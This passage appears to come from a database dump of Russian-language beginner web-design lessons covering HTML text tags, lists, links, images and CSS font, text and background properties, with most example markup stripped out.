стилей. Закрывающий тег обязателен!\r\n
Сам по себе, без использования стилей,
элемент SPAN никакого смысла не имеет!\r\n
Например:\r\n Хотите пользоваться Adobe
Dreamweaver - тогда изучите хотя бы основы html и
\r\n\r\n тогда Вы без проблем разберетесь с
этой замечательной программой!\r\n Что мы
увидим:\r\n Как видите, как будто мы ничего
и не выделяли! Но если прописать какой
нибудь стиль этому тегу, то он начнет
работать!','','files_4676_5321_'),(23,2,'Урок 4:
Продолжаем работать с текстом','Чтобы
придать тексту ту или иную гарнитуру в html
используются такие элементы:\r\n - STRONG\r\n
Используется для выделения текста
жирным\r\n - EM\r\n Используется для
выделения текста курсивом\r\n - U\r\n
Выделение текста подчеркиванием\r\n - S\r\n
Перечеркивание текста\r\n - SUP\r\n Создание
верхнего индекса\r\n - SUB\r\n Создание
нижнего индекса\r\n - FONT\r\n Изменение цвета,
типа, размера шрифта\r\n - HR\r\n Вставляет в
текст горизонтальную разделительную
линию\r\n STRONG - Выделяет текст, заключенный
между открывающим и закрывающимтегами,
жирным шрифтом. Раньше везде
использовался тег (или ), в принципе его
можно использовать и сейчас, но это не
приветствуется поисковыми системами.\r\n
Если в теле документа написать:\r\n Этот
текст будет выделен жирным \r\n\r\n И этот
тоже, но этим тегом лучше не
пользоваться! \r\n Как видите, оба этих
тега действуют одинаково. В программе Adobe
Dreamweaver на панели форматирования текста
написано " B "\r\n (просто это
название более старое и большинство
веб-мастеров привыкли к нему), хотя при
нажатии на эту кнопочку в коде пишется
тег .\r\n EM ( Emphasis ) - Выделяет текст,
заключенный между открывающим и
закрывающим тегами, курсивом. Также
аналогичен по действию тег , однако его
лучше не использовать т.к. это не
приветствуется поисковыми системами.\r\n
В программе Adobe Dreamweaver на панели
форматирования текста написано " I
" хотя в коде пишется EM .\r\n Приведу
пример:\r\n Этот текст будет
выделенкурсивом \r\n\r\n И этот тоже, но
лучше пользоваться тегом EM \r\n U(Underline) -
Отображает помещенный между открывающим
и закрывающим тегами текст как
подчеркнутый.\r\n Если в теле документа
написать:\r\n Этот текст будет
подчеркнутым!!! \r\n S(Strike) - Текст,
помещенный между открывающим и
закрывающим тегами, будет
перечеркиваться!\r\n Вниманиe акция! новая
цена 50 000 20 000 рублей!\r\n SUP ( Superscript) -
Отображает текст, заключенныймежду
открывающим и закрывающим тегами, как
верхний индекс от основного текста.\r\n 2 2
= 4 ; \r\n\r\n 2 3 = 8 ; \r\n\r\n 2 4 = 16 ;\r\n SUB(Subscript) -
Отображает текст, заключенныймежду
открывающим и закрывающим тегами, как
нижний индекс от основного текста.\r\n
Формула спирта в химии - С 2 Н 5 ОН\r\n FONT -
Позволяет изменять цвет, размер и тип
шрифта текста, находящегося между
открывающим и закрывающим тегами.\r\n
Атрибуты:\r\n SIZE - Определяет размер
шрифта. Возможные значение - 1 , 2 , 3 , 4 , 5 , 6 ,
7.\r\n COLOR - Определяет цвет текста. Задается
либо RGB-значением в шестнадцатиричной
системе, либо одним из 16 базовых
цветов.\r\n FACE - определяет используемый
шрифт. Используйте Times New Roman, Arial, Tahoma, Courier,
Courier New. Они установлены почти у всех.
Иначе гарантий нет!\r\n Если в теле
документа написать:\r\n Это обычный текст
\r\n\r\n Увеличенный красный шрифт \r\n\r\n\r\n
Моноширинный фиолетовый текст 3 размера
\r\n Если написано SIZE="+2" то это
означает увеличить на 2 единицы шрифт по
сравнению со стандартным. Обычно
стандартный размер шрифта равен 3 .\r\n
Примечание: В дальнейшем(после изучения
css) лучше вообще все что связано с типом,
размером и цветом шрифта делать через
таблицы стилей. Это гораздо удобнее, тем
более многие элементы форматирования
текста расположенные внутри элемента FONT,
работают некорректно.\r\n HR- служит для
вставки в текст горизонтальной линии.
Закрывающего тега нет!\r\n Атрибуты:\r\n WIDTH
– определяет длину линии в пикселах или
процентах от ширины окна браузера.\r\n SIZE
– толщина линии в пикселах.\r\n ALIGN –
определяет выравнивание горизонтальной
линии. Атрибут может принимать следующие
значения:\r\n left –
выравнивание','','files_2743_2045_'),(24,2,'Урок 5:
Заканчиваем с текстом','В этом уроке мы
разберем такую немаловажную часть языка
html как списки. Различают списки двух
видов: упорядоченные (пронумерованные) и
неупорядоченные (непронумерованные).
Единственным отличием является то, что
перед пунктаминеупорядоченных списков
обычно ставятся символы-буллеты (bullets),
например, точки, ромбики и т.п., в то время
как пунктам упорядоченных списков
предшествуют их номера.\r\n Элементы:\r\n -
UL\r\n Создает неупорядоченный список\r\n -
OL\r\n Создает упорядоченный список\r\n - LI\r\n
Создает пункты списка внутри элементов OL
или UL\r\n UL (Unsorted List) - Создает
неупорядоченный список. Обязательно
наличие закрывающиего тега, причем между
начальным и конечным тегами должны
присутствовать один или несколько
элементов LI , обозначающих отдельные
пункты списка.\r\n Например:\r\n\r\n Первый
пункт списка \r\n\r\n Второй пункт списка
\r\n\r\n Третий пункт списка \r\n\r\n Четвертый
пункт списка \r\n\r\n\r\n OL (Ordered List)- Создает
упорядоченный список. Между начальным и
конечным тегами должны присутствовать
один или несколько элементов LI ,
обозначающих отдельные пункты списка.\r\n
Атрибуты:\r\n START – определяет первое
число, с которого начинается нумерация
пунктов. (только целые числа) . Если не
указывать, начинается с начала.\r\n TYPE –
определяет стиль нумерации пунктов
списка.\r\n Возможные значения:\r\n
"A" – заглавные буквы A, B, C ...\r\n
"a" – строчные буквы a, b, c ...\r\n
"I" – большие римские числа I, II,
III ...\r\n "i" – маленькие римские
числа i, ii, iii ...\r\n "1" – арабские
числа 1, 2, 3 ...\r\n Значение по умолчанию \r\n
.\r\n Приведу пример:\r\n\r\n Чтобы создать
сайт на домашнем компьютере
необходимо:\r\n\r\n Выучить html \r\n\r\n Выучить
css \r\n\r\n Ознакомиться с php \r\n\r\n\r\n\r\n Чтобы
создавать сайты быстро желательно:\r\n\r\n
знания программы Adobe Dreamweaver \r\n\r\n знания
программы TOpStylePro \r\n\r\n Знания Photoshop
\r\n\r\n\r\n\r\n Чтобы зарабатывать на сайте
желательно:\r\n\r\n наличие хорошей
посещаемости \r\n\r\n наличие цифрового
продукта для продажи \r\n\r\n наличие блоков
рекламы \r\n\r\n\r\n\r\n Чтобы стать успешным в
интернете:\r\n\r\n писать информацию
полезную для людей \r\n\r\n постоянно
пополнять сайт новым содержимым \r\n\r\n
первый пункт придумай сам \r\n\r\n\r\n LI (List Item)
- Создает пункт в списке. Располагается
внутри элементов OL или UL. Закрывающий тег
писать желательно, но не обязательно, это
уже решать Вам.\r\n Атрибуты:\r\n VALUE –
изменяет порядок нумерации элементов
списка. Используется только если элемент
LI находится внутри элемента OL . В
качестве значения указывается
порядковый номер элемента.\r\n Приведу
пример:\r\n Чтобы создать сайт на домашнем
компьютере необходимо:\r\n\r\n Выучить html
\r\n\r\n\r\n Выучить css \r\n\r\n Ознакомиться с
php','','files_4138_4940_'),(25,2,'Урок 6: html ссылки','В
первую очередь давайте поговорим о
ссылках - переходах с одной страницы на
другую. Ссылки это базовый элемент без
которого невозможно представить
интернет.\r\n Создать html ссылку очень
просто. Для этого используется
простенький элемент с одним атрибутом.
Ну вот например:\r\nhttp://www.zvirec.com">
Это ссылка на сайт zvirec.com \r\n Элемент а (ancor)
является как бы якорем, т.е. текст,
заключенный между открывающим и
закрывающим тегом , будет текстом
ссылки.\r\n Атрибут href это сокращение
от"hypertext reference/гипертекстовая
ссылка", специфирует место, на
которое выполняется переход по данной
ссылке - обычно это internet-адрес и/или имя
файла.\r\n Если нужно сделать ссылку между
собственными страницами?\r\n Сделать html
ссылку между страницами одного и того же
веб-сайта гораздо проще. Например, если у
нас есть две страницы(к примеру page1.htm и
page2.htm ) расположенные водной папке , то
код ссылки с page1 на page2 будет выглядеть
так:\r\n Для перехода на page2 щелкни здесь!
\r\n Т.е. надо просто написать название
страницы, на которуюмы хотим перейти.\r\n
Eсли страница page 2 находитсяв подпапке
"subfolder" , код ссылки выглядит
так:\r\n Для перехода на page2 щелкниздесь! \r\n
Так будет выглядеть код html ссылки со
страницы page 2 на page1(в обратную сторону):\r\n
Для перехода на page1 щелкни здесь! \r\n Т.е.
сочетание " ../ " указывает как бы
на папку, расположенную на один уровень
выше от данной позиции файла, с которого
делается ссылка.\r\n А если надо сделать
ссылку внутри страницы?\r\n Бывают случаи
когда необходимо сделать ссылку с начала
страницы в конец или наоборот, или к
примеру с оглавления на главы и.т.д.
Сделать ее очень просто! Необходимо
пометить место документа следующей
конструкцией:\r\n\r\n Раздел 1 \r\n\r\n\r\n
Раздел1: \r\n\r\n Теперь вы можете ссылаться
на помеченную область(в данном случае
Раздел1) простым указанием ее имени после
значка #.\r\n Вот как будет выглядеть
ссылка на раздел1:\r\n Ссылка на Раздел 1 \r\n
Приведу более наглядный пример:\r\n
Оглавление \r\n\r\n\r\n Раздел 1: как стать
богатым \r\n\r\n Раздел 2: как стать
счастливым \r\n\r\n Раздел 3: как быть
здоровым \r\n Раздел 1: какстать богатым
\r\n\r\n\r\n Для того, чтобы стать богатым
необходимо очень много трудиться .....
\r\n\r\n Раздел 2: какстать счастливым \r\n\r\n\r\n
Для того чтобы стать счастливым, нужно
использовать каждую минуту... \r\n\r\n
Раздел3: как быть здоровым \r\n\r\n\r\n Для
того чтобы быть здоровым нужно много
заниматься физкультурой... \r\n\r\n А можно
сделать ссылку на почту?\r\n Конечно можно.
Вот пример ссылки на е-mail сайта zvirec.com.\r\n
Написать письмо админу zvirec.com \r\n В
браузере будет выглядеть:\r\n Написать
письмо админу zvirec.com\r\n Как вы видите,
используется mailto потом двоеточие и
емаилполучателя. При нажатии на ссылку
запустится почтовая программа-клиент с
заполненным полем имени получателя.\r\n
Парочка дополнительных атрибутов:\r\n TARGET
- указывает где открывать страницу на
которуюведет html ссылка. По умолчанию она
открывается в том же окне. Если хочется
чтобы открывалась в новом, следует
написать target="_blank" .\r\n TITLE -
указывает заголовок ссылки, который
появляется при наведении на нее.\r\n
Смотрите пример:\r\nhttp://www.zvirec.com"
target="_blank">\r\n Это ссылка на
сайт zvirec.com, откроется в новом
окне\r\n\r\n\r\n\r\nhttp://www.zvirec.com"
title="Учебник создания
сайта">\r\n Эта - тоже на zvirec.com. При
наведении появится заголовок.\r\n\r\n
Смотрите на результат:\r\n Это ссылка на
сайт zvirec.com, откроется в новом окне\r\n Эта -
тоже на zvirec.com. При наведении
появится\r\nзаголовок.\r\n Ну вот в принципе
и всё. Можете сильно не зацикливаться, в
программе Adobe Dreamweaver любая ссылка
делается одним нажатием мышки. Главное
для Вас, понять что к чему, а зазубривать
не обязательно...\r\n А можно ли изменить
цвет ссылок?\r\n Конечно можно. Чтобы
изменять цвет ссылок во всем документе,
существуют специальные атрибуты
элемента BODY .\r\n LINK - цвет просто ссылок.\r\n
ALINK (Active Link) - цвет активных ссылок
(активная означает в момент нажатия на
нее)\r\n VLINK (Visited Link) - цвет уже посещенных
ссылок\r\n Все цвета задаются либо
RGB-значением в шестнадцатиричной
системе, либо одним из 16 базовых
цветов.\r\n К примеру если при открытии
тела документа, элементу body
прописать:\r\n\r\n то все ссылки в данном
документе станут красными, уже
посещенные ссылки станут зелеными а
ссылки в момент нажатия будут
белыми.','','files_2449_4525_'),(26,2,'Урок 7: Работаем
с изображениями','Изображения - это
неотъемлемая часть любого сайта в сети
интернет. Они используются везде,
поэтому давайте разберемся что к чему.
Есть три типа файлов изображений,
которые можно вставить на ваши
страницы:\r\n *.\r\n GIF (Graphics Interchange Format)\r\n *.\r\n
JPG / JPEG (Joint Photographic Experts Group)\r\n *.\r\n PNG (Portable
Network Graphics)\r\n Пара слов о форматах:\r\n GIF -
использует всего 256 цветов и
соответственно лучшеподходит для
рисунков с малымкол-вом оттенков. Этот
формат поддерживает прозрачность
изображений.\r\n JPEG - формат изображений,
который использует до миллиона цветов.
Обычно используется для фотографий и
качественной графики(с огромным
количеством оттенков).\r\n PNG -
сравнительно новый формат . По многим
параметрам превосходит JPEG иGIF: миллионы
цветов и эффективное сжатие. Также
поддерживает прозрачность.\r\n В каком
формате брать изображения - дело Ваше,
однако старайтесь добиться
максимального качества при минимальном
размере .\r\n Вставить изображение на
страницу очень просто. Вот пример если
оно лежит в той же папке что и
страница.\r\n\r\n Что нам понадобилось:
элементIMG не имеющий закрывающего тега и
атрибут SRC (сокращение от source - положение)
который указывает где находится
изображение. Вы легко можете вставлять
изображения, размещенные в других папках
или на других сайтах. Просто укажите
правильный путь (примерно таккак при
созданиии ссылок).\r\n Вот еще несколько
примеров с
комментариями:\r\n\r\n\r\n\r\n">\r\n\r\n">\r\n
Вот еще очень необходимые атрибуты:\r\n ALIGN
- определяет способ выравнивания
картинки по горизонтали. Очень полезное
свойство при обтекании картинки текстом.
Обычно используют LEFT (выравниваниепо
левому краю, текст будет обтекать справа)
и RIGHT (выравнивание по правому краю, текст
обтекает слева).Если на странице есть
текст, то это обязательное свойство.\r\n
HSPACE и VSPACE - отступы в пикселях по
горизонтали и по вертикали от картинки
до других обьектов документа. Легко
запомнить название если взять и просто
перевести с английского. HSPACE - Horizontal Space -
горизонтальный отступ иVSPACE - Vertical Space -
вертикальный отступ.\r\n HEIGHT и WIDTH - высота
и ширина изображения в пикселах. Золотое
правило web-мастера – всегда явно
задавать размеры картинки в атрибутах
HEIGHT и WIDTH, резервируя тем самым место в
окне браузера еще до загрузки
изображения. В противном случае документ
при загрузке каждой картинки будет
заново перерисовываться. А на медленных
машинах (или при подключении к сети через
модем) это смотрится просто
отвратительно. Но в принципе, можно и не
задавать размеры, просто будет дольше
загружаться. И еще, не советую Вам
искажать реальные размеры картинки.\r\n
Ладно, лучше все смотреть на
примерах:\r\n\r\n\r\n\r\n Любой Интернет бизнес
немыслим без сайта. Так что первым делом
не мешало бы научиться создавать сайты. В
данном случае фраза"научиться
создавать сайты" будет означать -
знать на хорошем уровне язык
гипертекстовой разметки HTML и каскадные
таблицы стилей CSS, которые значительно
расширяют возможности HTML и позволяют
создавать действительно стильные и
качественные сайты. \r\n\r\n\r\n\r\n\r\n Любой
Интернет бизнес немыслим без сайта. Так
что первым делом не мешало бы научиться
создавать сайты. В данном случае
фраза"научиться создавать
сайты" будет означать - знать на
хорошем уровне язык гипертекстовой
разметки HTML и каскадные таблицы стилей
CSS,которые значительно расширяют
возможности HTML и позволяют создавать
действительно стильные и качественные
сайты. \r\n\r\n\r\n\r\n\r\n\r\n Любой Интернет
бизнес немыслим без сайта. Так что первым
делом не мешало бы научиться создавать
сайты. В данном случае
фраза"научиться создавать
сайты" будет означать - знать на
хорошем уровне язык гипертекстовой
разметки HTML и каскадные таблицы стилей
CSS, которые значительно расширяют
возможности HTML и позволяют создавать
действительно стильные и качественные
сайты.','','files_4238_4099_'),(36,4,'Урок 4: Шрифты в
CSS','В этом уроке мы посмотрим каквыглядят
шрифты в CSS, а именно рассмотрим основные
свойства шрифтов :семейство, вес, стиль,
вариант, размер,также узнаем по какому
принципу браузер выбирает нужный
шрифт.\r\nТак вот за шрифты в CSS отвечают
следующие свойства:\r\n*. font-family\r\n*.
font-style\r\n*. font-variant\r\n*. font-weight\r\n*. font-size\r\n*.
font\r\nСвойство FONT-FAMILY\r\nДанное свойство
определяет гарнитуру шрифта. Вообще
FONT-FAMILY с англ. означает семейство шрифта.
Дело в том, что шрифты по тем или иным
признакам, объединяются в семейства. Я
рассмотрю три основных семейства:\r\nSerif -
шрифты с
характерными"засечками",
наиболее яркий представитель - "Times
New Roman";\r\nSans-serif - шрифты рубленые, без
засечек, например Arial или Verdana ;\r\nMonospace -
моноширинные шрифты (с одинаковым
расстоянием между символами,наподобие
печатной машинки), такие как "Courier
New";\r\nНа рисунке ниже изображены
названия основных, используемых на
практике, шрифтов, сгруппированные по
семействам. Причем отображены они именно
так, как выглядят на самом деле, например
название "Times New Roman" отображено
шрифтом"Times New Roman" , ну вы
поняли....\r\nМожет Вам интересно, почему
некоторые шрифты мы заключаем в кавычки?
А дело в том, что есть такое
правило:"Если в названии шрифта
встречаются пробелы, то его следует
заключать в кавычки" .\r\nh1 { font-family :
verdana, arial, sans-serif ;}\r\np { font-family : "Times New
Roman", serif ;}\r\n\r\nТ.е. в начале пишется
самый приоритетный шрифт, затем менее
приоритетный, а затем желательно писать
имя семейства. Надпись из примера выше
-\r\nh1 { font-family : verdana, arial, sans-serif ;} означает,
что все заголовки первого уровня будут
отображаться шрифтом verdana . Если по каким
либо причинам этот шрифт не установлен
на компьютере, то браузер подставит
шрифт arial , а если и его нет, то браузер
подставит любой доступный шрифт из
семейства serif . Вот так\r\nСвойство
FONT-STYLE\r\nДанное свойство задает стиль
шрифта. Может принимать три значения:\r\n*.
normal - обычный;\r\n*. italic - курсивный;\r\n*. oblique -
наклонный;\r\nУ вас может возникнуть
вопрос:"чем отличается курсивный от
наклонного?" , - дело в том, что
значение italic означает использование
встроенного в шрифт курсивного
начертания. Ведь почти каждый шрифт
включает в себя все символы и буквы в
нормальном исполнении, в полужирном
исполнении и в курсивном.\r\nА значение
oblique - это искусственно созданный курсив,
т.е. созданный наклоном стандартных букв
на определенный угол.\r\nh1 {\r\nfont-family: verdana,
arial, sans-serif;\r\nfont-style : normal ;\r\n}\r\nh2 {\r\nfont-family:
verdana, arial, sans-serif;\r\nfont-style : italic ;\r\n}\r\nh3
{\r\nfont-family: verdana, arial, sans-serif;\r\nfont-style : oblique
;\r\n}\r\n\r\n\r\nСвойство FONT-VARIANT\r\nЭто свойство
используется для выбора варианта
написания букв нижнего регистра. Может
принимать два значения:\r\nnormal - значение
по умолчанию, текст отображаетсяобычным
образом.\r\nsmall-caps - буквы нижнего регистра
отображаются как уменьшенные
заглавные.\r\nТ.е. как видите
большие(заглавные буквы) остаются без
изменений, а маленькие - представляют
собой полную копию заглавныхбукв, только
слегка меньшего размера.\r\nПо умолчанию
(т.е. если вообщене записывать это
свойство) текст будет отображаться
обычным начертанием.\r\nПример записи
стиля:\r\nh1 {\r\nfont-family: verdana, arial,
sans-serif;\r\nfont-variant : small-caps ;\r\n}\r\nh2 {font-family:
verdana, arial, sans-serif;}\r\nСвойство FONT-WEIGHT\r\nЭто
свойство определяет насыщенность
шрифта, т.е. с егопомощью можно сделать
шрифт жирным. Основные значения: normal -
обычный и bold -
жирный.','','files_2321_4563_'),(37,4,'Урок 5: Текст в
CSS','В этом уроке мы рассмотрим основные
свойства CSS отвечающие за форматирование
текста.\r\n*. text-align\r\n*. text-decoration\r\n*.
text-indent\r\n*. text-transform\r\n*. letter-spacing\r\n*.
word-spacing\r\nСвойство TEXT-ALIGN\r\nСвойство
выравнивания текста, аналогичное
атрибуту ALIGN используемому в html. Может
принимать четыре значения:\r\nleft -
выравнивание по левому краю(значение по
умолчанию);\r\nright - выравнивание по
правому краю;\r\ncenter - выравнивание по
центру;\r\njustify - выравнивание по ширине(по
правому и левому краям
одновременно).\r\nТут все очень просто, ну
вот например:\r\nh1 { text-align : center ;}\r\nh2 { text-align
: left ;}\r\nh3 { text-align : right ;}\r\np { text-align : justify
;}\r\nСвойство TEXT- DECORATION\r\nПозволяет
оформлять текст определенным образом.
Рассмотрим четыре основных значения
данного свойства:\r\nnone - значение по
умолчанию. Дополнительного оформления
не происходит;\r\nunderline - текст
подчеркивается снизу;\r\noverline - текст
надчеркивается сверху;\r\nline-through - текст
перечеркивается;\r\nh1
{\r\ntext-align:center;\r\ntext-decoration : underline ;\r\n}\r\nh2
{\r\ntext-align:center;\r\ntext-decoration : overline ;\r\n}\r\nh3
{\r\ntext-align:center;text-decoration : line-through ;\r\n}\r\nЭто
свойство частенько используется при
задании оформления ссылок, к примеру для
того, чтобы при наведении на ссылку
убиралось подчеркивание. Подробнее о
ссылках в следующем уроке.\r\nСвойство
TEXT-INDENT\r\nЭто свойство пригодится нам для
создания отступов первой строки, другими
словами абзацев. Значение лучше задавать
в пикселах, это универсальный способ.\r\nh1
{text-align:center;}\r\np {\r\ntext-indent : 40px ;\r\n}\r\nОднако
можно задать и в процентах от общей длины
базовой строки(строки без отступа)\r\nh1
{text-align:center;}\r\np {\r\ntext-indent : 20% ;\r\n}\r\nКак
видите, все очень просто, а в html это
сделать гораздо сложнее.\r\nСвойство
TEXT-TRANSFORM\r\nC помощью этого свойства, можно
видоизменять текст, а именно менять
большие буквы на маленькие или наоборот.
Может иметь такие значения:\r\ncapitalize -
меняет регистр первых букв каждого слова
так,чтобы они были заглавными.
Например:"создайте сайт сейчас"
станет "Создайте Сайт Сейчас"
.\r\nЧастенько это свойство используется
при написании рекламных текстов, это
больше привлекает внимания!\r\nuppercase -
делает из всех букв заглавные. Например:
"текст в css " станет " ТЕКСТ
В CSS "\r\nlowercase - делает из всех букв
маленькие. Например:"TRANSFORM"
cтанет"transform".\r\nnone - не
производит смены регистра; это значение
используется по умолчанию.\r\nСвойство
LETTER-SPACING\r\nC помощью этого свойства можно
изменять расстояние между буквами.
Значение лучшеуказывать в пикселях.\r\nh1 {
letter-spacing : 10px ;}\r\np { letter-spacing : 4px ; }\r\nВ
примере выше для заголовков установлен
интервал между буквами в 10 px, а для
параграфов в 4px;\r\nСвойство
WORD-SPACING\r\nПозволяет изменять
расстояниемежду словами. Значение
такжелучше задавать в пикселах.\r\nh1 {
word-spacing : 20px ;}\r\np { word-spacing : 10px ; }\r\nА вообще,
при создании того или иного шрифта,
разработчиками идеально выбираются
интервалы между буквами и словами, и
поэтому применять последние два
свойства я вообще не советую.
Исключением может быть своеобразное
дизайнерское решение или что-то типа
того...','','files_2236_4955_'),(34,4,'Урок 3: Цвет и фон
в CSS','Этот урок мы посвятим такому
важному моменту как цвет и фон в CSS . Вы
увидите, как прикольно, и насколько
эффективнее чем в html, все
этоработает!\r\nЗапомни: цвета в CSS
указываются так же, как и в html. Т.е. можно
указывать шестнадцатиричное значение,
например #ff3355, либо же название цвета (red,
green, blue и др.)\r\nОсновными свойствами цвета
ифона в CSS являются:\r\n*. color\r\n*.
background-color\r\n*. background-image\r\n*. background-repeat\r\n*.
background-attachment\r\n*. background-position\r\n*. background\r\nА
теперь подробнее, и
по-порядку:\r\nСвойство COLOR\r\nЗадает
основной цвет(цвет переднего плана) того
или иного элемента. Например, еслимы
хотим сделать цвет всех заголовков
первого уровня красным, а цвет текста
параграфов зеленым, то таблица стилей
будет выглядетьтак:\r\nH1 {\r\ncolor: red ;\r\n}\r\nP
{\r\ncolor: green ;\r\n}\r\n\r\nДля удобства
восприятия я выделил свойства и их
значения разными цветами.\r\nСвойство
BACKGROUND-COLOR\r\nЗадает фоновый цвет элемента.
В отличие от html, в котором фоновый цвет
можно использовать только для страницы
или ячейки таблицы(т.е. имеющих атрибут
bgcolor ) в CSS , фоновый цвет можно задавать
для чего угодно: для таблиц, заголовков,
параграфов, ссылок и др. Тут главное
правильно определить что нам нужно.\r\nНу
вот например, чтобы изменить фоновый
цвет всей страницы, нужно задать это
свойство элементу BODY - т.к. именно он
отвечает за тело документа , т.е. за всю
страницу.\r\nBODY {\r\nbackground-color : #FFEE8C ;\r\n}\r\nH1
{\r\ncolor: red ;\r\nbackground-color : blue ;\r\n}\r\nP {\r\ncolor: green
;\r\n}\r\n\r\nТочно так же, можно было бы задать
фоновый цвет и для параграфов. Для
закрепления материала попробуйте
поэкспериментировать.\r\n\r\nСвойство
BACKGROUND-IMAGE\r\nДанное свойство используется
для задания фонового изображения. В
примере ниже, я укажу фоновое
изображения для всей страницы, т.е. для
элемента BODY.\r\nBODY {\r\nbackground-color : #FFEE8C
;\r\nbackground-image : url(smile.png) ;\r\n}\r\nH1 {\r\ncolor: red
;\r\nbackground-color :blue ;\r\n}\r\nP {\r\ncolor: green
;\r\n}\r\n\r\nКак видите, в качестве
значениясвойства, указывается путь к
изображению, но немного не так как в html. В
начале пишется URL а затем сразу, Без
пробелов!!! в круглых скобках положение
картинки. Если она находится в той же
папке, то пишем просто название картинки,
как в примере выше. Если допустим в
подпапке img , то пишем так url(img/smile.png) ,ну Вы
поняли...\r\nФоновое изображение в CSS можно
задавать для любого элемента, не только
для таблиц и всей страницы. Вверху, две
картинки смайлика - большая и маленькая.
Попробуйте сохранить их себе на
компьютер и потренироваться. Большой
смайлик поставьте на фон всей страницы, а
маленький - на фон заголовков первого
уровня.\r\nКто не знает, чтобы сохранить
изображение просто наведите на него
указатель, клацните правой кнопкой и
выберите"Сохранить
рисунок".\r\n\r\nСвойство BACKGROUND-REPEAT\r\nВы
наверное заметили, что фоновое
изображение по-умолчанию повторяется
начиная с верхнего левого угла, как по
вертикали , так и по горизонтали, , пока не
заполнит весь экран. Так вот, с помощью
свойства background-repeat мы можем
контролировать эти повторения.\r\nЭто
свойство может принимать четыре
значения:\r\nBackground-repeat: repeat-x ; повторение
по горизонтали Смотри пример\r\nBackground-repeat:
repeat- y ; повторение по вертикали Смотри
пример\r\nBackground-repeat: repeat ; по вертикали и по
горизонтали (значение по-умолчанию)
Смотри пример\r\nBackground-repeat:
no-repeat','','files_3965_4478_'),(35,4,'Урок 3: Цвет и фон в
CSS часть2','Свойство BACKGROUND-POSITION\r\nЗадает
позицию фонового изображения. Значения
можно задавать в процентах, в единицах
длины и при помощи ключевых слов. Отсчет
как обычно ведется из левого верхнего
угла браузера, где и располагается
фоновое изображение по умолчанию. На
рисунке приведены примеры
позиционирования(точка это типа
изображение, а то что под ней -
приблизительные координаты)\r\nВ начале
указываем координатупо горизонтали (по
оси Х), затемчерез пробел координату по
вертикали (по оси Y ). Координату можно
задавать в процентах от ширины окна
браузера, также в пикселях. Можно
задавать и в сантиметрах, но не
советую.\r\nТакже положение можно
задавать специальными словами:\r\nleft -
лево, right - право, center -центр, top - верх, bottom -
низ .\r\nПримеры стилей:\r\nBODY {\r\nbackground-image :
url(smile.png) ;\r\nbackground-repeat: no-repeat;\r\nbackground-position :
top right ;\r\n}\r\nBODY {\r\nbackground-image : url(smile.png)
;\r\nbackground-repeat: no-repeat;\r\nbackground-position: 300px 500px
;\r\n}\r\nBODY {\r\nbackground-image : url(smile.png)
;\r\nbackground-repeat: no-repeat;\r\nbackground-position: 75% 25%
;\r\n}\r\nСокращенная форма записи -
BACKGROUND\r\nСвойство BACKGROUND служит для
сокращенной записи всех выше
расмотренных свойств.\r\nПорядок свойств
этого элемента таков:\r\nbackground-color _
background-image _ background-repeat _ background-attachment _
background-position\r\nТ.е. просто записывается
пять значений свойств через
пробел.Рассмотрев пример ниже Вам станет
все понятно:\r\nТо что записано так:\r\nBODY
{\r\nbackground-color: #ffee8c ;\r\nbackground-image : url(smile.png)
;\r\nbackground-repeat: no-repeat;\r\nbackground-attachment:
fixed;\r\nbackground-position: top right;\r\n}\r\nМожно
записать одной строчкой:\r\nBODY {\r\nbackground :
#ffee8c url(smile.png) no-repeat fixed top right ;\r\n}\r\nКак
видите, пишем значения свойств через
пробел. Если какое либо свойство не
указать,то ему автоматически присвоится
значение по-
умолчанию.','','files_1244_5621_'),(32,4,'Урок 2:
Синтаксис и принцип работы CSS','Как и
любой другой язык\r\nпрограммирования, CSS
имеет\r\nстрого определенный\r\nсинтаксис,
т.е. правила по\r\nкоторым создаются
таблицы\r\nстилей. Запомните, в CSS
в\r\nотличие от HTML нет ни\r\nэлементов, ни
атрибутов, ни\r\nтегов. Основной
структурной\r\nединицей здесь
является\r\nправило, которое
определяет,\r\nкак будет выглядеть тот
или\r\nКак\r\nиной элемент в
документе.\r\nКак подключить CSS таблицу к
HTML документу?\r\nКак вы уже знаете, вся
фишка\r\ncss в том, что меняя
стилевые\r\nправила во внешней
таблице\r\nстилей, мы можем
управлять\r\nдизайном сколь
угодно\r\nбольшого количества
страниц.\r\nНо для этого нам
нужно\r\nподключить внешнюю\r\nтаблицу
стилей ко всем\r\nстраницам html,
дизайном\r\nкоторых мы хотим
управлять.\r\nДавайте
по-порядку:\r\nВнешняя таблица стилей
это\r\nпросто текстовый файл
с\r\nрасширением .css.\r\nДопустим у нас есть
таблица\r\nстилей style.css и
несколько\r\nстраниц html, и причем все
это\r\nрасположено в одной папке.\r\nТогда в
каждом документе\r\nкоторый мы
хотим\r\nподключить, в
голове\r\nдокумента(между тегами\r\nМежду
HTML и CSS много\r\nобщего, и поэтому
запомнить\r\nсвойства CSS Вам будет
очень\r\nпросто.\r\nи )\r\nнеобходимо
прописать\r\nстрочку:\r\n\r\ntype="text/css"\r\nhref="style.css">\r\nЭта
строка указывает браузеру,\r\nчто\r\nон
должен использовать\r\nправила
отображения HTML-\r\nфайла из
CSS-файла.\r\nТеперь попробуйте
сами:\r\nОткройте Блокнот(или
другой\r\nредактор) и создайте с\r\nпомощью
него два файла\r\nнаходящихся в одной
папке:\r\nCSS файл - style.css и HTML\r\nфайл - index.htm .
Напомню\r\nдля тех , кто забыл как
это\r\nделать: просто
открываете\r\nблокнот, выбираете
"Файл"\r\nзатем "сохранить
как" и в\r\nполе имя файла
пишите\r\nstyle.css . Аналогично для\r\nindex.htm
.\r\nФайлы примерно
следующего\r\nсодержания:\r\nindex.htm','','files_5592_2282_'),(33,4,'Урок
2: Синтаксис и принцип работы CSS
часть2','Работаем со стилями
title>\r\n\r\ntype="text/css"\r\nhref="style.css"
>\r\n\r\n\r\n\r\nЭто моя первая
таблица\r\nстилей, и если все работает,
то\r\nнесмотря на то, что это\r\nзаголовок
первого уровня, он\r\nотобразится высотой
всего\r\nлишь 14 пикселей и
будет\r\nголубого
цвета\r\n\r\n\r\n\r\nstyle.css\r\nh1{color:blue;font-size:14px}\r\n\r\nW3C//DTD
HTML
4.01\r\nTransitional//EN"\r\n"http://www.w3.org/TR/\r\nhtml4/loose.dtd">\r\n\r\nВам
не советую, т.к. это
очень\r\nнеудобно.\r\nМожно располагать
правила\r\nстилей непосредственно
в\r\nголове документа:\r\n\r\nW3C//DTD HTML
4.01\r\nTransitional//EN"\r\n"http://www.w3.org/TR/\r\nhtml4/loose.dtd">\r\n\r\n\r\n\r\nРаботаем
